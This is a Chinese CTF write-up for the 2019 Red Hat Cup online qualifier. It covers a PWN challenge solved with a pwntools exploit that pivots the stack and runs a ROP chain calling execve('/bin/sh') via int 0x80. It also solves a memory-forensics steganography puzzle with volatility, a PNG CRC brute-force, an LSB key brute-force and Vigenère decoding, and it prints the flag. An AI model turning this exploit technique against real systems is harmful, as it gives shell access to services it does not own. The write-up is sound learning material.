2019年第三屆紅帽杯線上賽wp

2019年第三屆紅帽杯線上賽wp

PWN

three

IDA打開之後,函數名都是sub_xxx,然後通過nc官方部署的程序(或本地在程序所在目錄創建flag文件後),獲得程序中會出現的字符串定位到了重要函數,我用的是字符串Maybe is good

貼出來一下重要函數對應的內存地址:

函數名(已重命名) 內存地址
main 0x08048CA8
load_flag 0x080488C5
Maybe_is_good 0x0804897E
main_method 0x08048B5C

四者結構如圖:

四者結構

load_flag裏面需要加載flag文件,如果沒有就exit,也就是一開始無法本地打開原因。

Maybe_is_good 裏面沒有特別的,關鍵在main_method,先貼出完整代碼(以重名部分函數&註釋)

gdb調試:‘very much’ 後輸入 ‘aaa’,‘tell me’ 後輸入 ‘bbbbbbbbbbb······’。可以看到eax被寫入了’aaa’,ecx被寫入了’bbbbbbbbbbbbbbbbbbb····’

然後就是第22行代碼,看不懂就查彙編,對應的彙編是call eax。就是當eax是函數來調用。結合前面的eax會被覆寫爲輸入值,就可以進行ROP

攻擊大致流程如下:

  1. eax被覆寫爲payload1
  2. 寫入payload2
  3. call eax
  4. int80_call
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *


context.log_level = 'debug'
elf = ELF('./pwn')
# 'ldd ./pwn' get libc.so
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh = process('./pwn')
sh.sendlineafter('index:\n', str(0)) # 0<=x<=31

payload = asm('''
xchg ecx, esp
ret
''',arch = 'i386')
sh.sendafter(' much!\n', payload)

sh.sendlineafter('size:\n', str(512)) # 0<=x<=512,x>payload

# ROPgadget
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x80f6d40, # '/bin/sh\0' address
    0x080c11e6, #: pop eax; ret; 
    11, # len '/bin/sh\0'
    0x080738c0, #: int 0x80; ret; 
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()

EXP解釋

  • 13、21行兩個數值可在註釋範圍內調整
  • payload是交換ecx、esp兩個寄存器的值
  • layout裏面是gadget,向int_80傳參
  • int_80的作用類似於system,具體看這裏
    • https://blog.csdn.net/fivedoumi/article/details/53184797
    • https://blog.csdn.net/maowenl/article/details/32309683
    • https://www.cnblogs.com/caesarxu/p/3261232.html

最後:官方wp解法是交換ecx、esp的內容之後,利用返回值是1還是2,來逐個字節爆破得出flag。

Mics

Advertising for Marriage

內存取證題目。題目給出的是raw文件,這個文件不是圖片的那個raw。。。初次之外內存取證還有dmg文件。利用的分析工具最主要是volatility

首先查看鏡像信息:volatility -f Advertising\ for\ Marriage.raw imageinfo

使用 WinXPSP2x86 預設。然後就是查進程:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 pslist

存在記事本進程,查一查有什麼:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 notepad

提示:hint:????needmoneyandgirlfirend

掃描所有png文件:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 filescan|grep png

找到一張 png 圖片:vegetable.png。導出圖片:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x000000000249ae78

圖片無法顯示,報錯:IHDR: CRC ERROR

估計圖片尺寸被修改了。

用腳本計算圖片實際長度和寬度,並且生成修復後的圖片。

import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

Stegsolve 查看圖片,找到模糊的 flag,一般情況較難恢復。同時,也發現 lsb 有點東西。

解密需要密鑰,密鑰爲上面記事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字節。

爆破得到密鑰 b1cxneedmoneyandgirlfirend,這裏給出自己寫的破解腳本,需要把lsb加密庫clone 下載,然後把腳本丟裏面運行

#coding:utf-8
import os
import string

# creat password
password = []
pd_element =  list(string.ascii_letters) + list(string.digits)
for i in pd_element:
	if i != 'b':
		continue
	for j in pd_element:
		#if j != '1':
			#continue
		for k in pd_element:
			for m in pd_element:
				password.append(i+j+k+m+"needmoneyandgirlfirend")
				#pd = i+j+k+m+"needmoneyandgirlfirend"
				#print "password = %s " %pd

n = 0
file_name = '2.png' # 解密的圖片
out_file_1 = 'out.txt' # lsb中間文件
out_file_2 = 'result.txt' # result結果記錄文件
for pd in password:
	out_data_2= open(out_file_2,'a')
	pd = 'b1cxneedmoneyandgirlfirend'
	try:
		print "total try {} times\ntrying: {}".format(n,pd)
		argv = r'python lsb.py extract ' + file_name  + ' ' + out_file_1 + ' '+ pd 
		lsb  =  os.popen(argv,'r')
		data = lsb.read()
		lsb.close()
		print "{} SUCCESS".format(pd)
		out_data_1 = open(out_file_1,'r')
		data = out_data_1.read().strip('\n')
		out_data_2.write(data+'\n')
		n += 1
		break
	except:
		print "{} ERROR".format(pd)
		n += 1
	out_data_2.close()

解密圖片隱寫信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

base64 解碼得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

然後再使用在線維吉尼亞密碼解密:密鑰b1cxneedmoneyandgirlfirend

解密得到: flagisd7f1417bfafbf62587e0

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章